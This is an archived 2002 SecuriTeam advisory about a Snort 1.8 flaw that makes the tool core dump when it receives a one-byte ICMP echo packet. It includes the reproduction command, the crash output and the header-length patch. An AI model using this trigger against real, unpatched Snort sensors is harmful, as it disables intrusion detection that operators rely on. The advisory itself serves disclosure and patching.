

[UNIX] Snort Core Dump Vulnerability

Source: <http://www.derkeiler.com/Mailing-Lists/Securiteam/2002-01/0101.html>

From: support@securiteam.com

Date: 01/20/02

From: support@securiteam.com

To: list@securiteam.com

Date: Sun, 20 Jan 2002 19:02:48 +0100 (CET)

The following security advisory is sent to the securiteam mailing list, and can be found at the SecuriTeam web site: <http://www.securiteam.com>

-- promotion

When was the last time you checked your server's security?

How about a monthly report?

<http://www.AutomatedScanning.com> -- Know that you're safe.

Snort Core Dump Vulnerability

SUMMARY

It is possible to cause <http://www.snort.org/> Snort, an open source network intrusion detection tool, to core dump by sending it an extremely small ICMP ECHO packet.

DETAILS

Vulnerable systems:

Snort version 1.8 and prior (without the patch)

Example:

Run snort:

```
# snort -dev host 192.168.0.3 and 192.168.0.1
```

Ping 192.168.0.1 from 192.168.0.3 within one data in payload:

```
# ping -c 1 -s 1 192.168.0.1
```

Snort's output showed below:

```
-*> Snort! <*-
```

Version 1.8.3 (Build 88)

By Martin Roesch (roesch@sourcefire.com, www.snort.org)

```
01/10-11:34:43.898282 0:80:AD:78:83:BB -> 0:E0:18:C4:52:76 type:0x800
```

```
len:0x2B 192.168.0.3 -> 192.168.0.1 ICMP TTL:64 TOS:0x0 ID:0 IpLen:20
```

Securiteam: [UNIX] Snort Core Dump Vulnerability

DgmLen:29 DF Type:8 Code:0 ID:9435 Seq:0 ECHO
Segmentation fault (core dumped)

Patch:

```
--- olddecode.h Thu Jan 10 15:47:48 2002
+++ decode.h Thu Jan 10 12:15:33 2002
@@ -105,7 +105,7 @@
#define IP_HEADER_LEN 20
#define TCP_HEADER_LEN 20
#define UDP_HEADER_LEN 8
-#define ICMP_HEADER_LEN 8
+#define ICMP_HEADER_LEN 4

#define TH_FIN 0x01
#define TH_SYN 0x02
```

This has been committed to the Snort 1.8 branch of Snort CVS and is included in build 90.

ADDITIONAL INFORMATION

The information has been provided by <mailto:securitymail@263.net> Sinbad and <mailto:roesch@sourcefire.com> Martin Roesch.

=====

This bulletin is sent to members of the SecuriTeam mailing list.
To unsubscribe from the list, send mail with an empty subject line and body to:
list-unsubscribe@securiteam.com
In order to subscribe to the mailing list, simply forward this email to: list-subscribe@securiteam.com

=====
=====

DISCLAIMER:

The information in this bulletin is provided "AS IS" without warranty of any kind.
In no event shall we be liable for any damages whatsoever including direct, indirect, incidental, consequential, loss of business profits or special damages.



- *Previous message:* support@securiteam.com: "[TOOL] NGSSniff, RAW SOCKET Packet Sniffer"
- *Messages sorted by:* [\[date \]](#) [\[thread \]](#) [\[subject \]](#) [\[author \]](#) [\[attachment \]](#)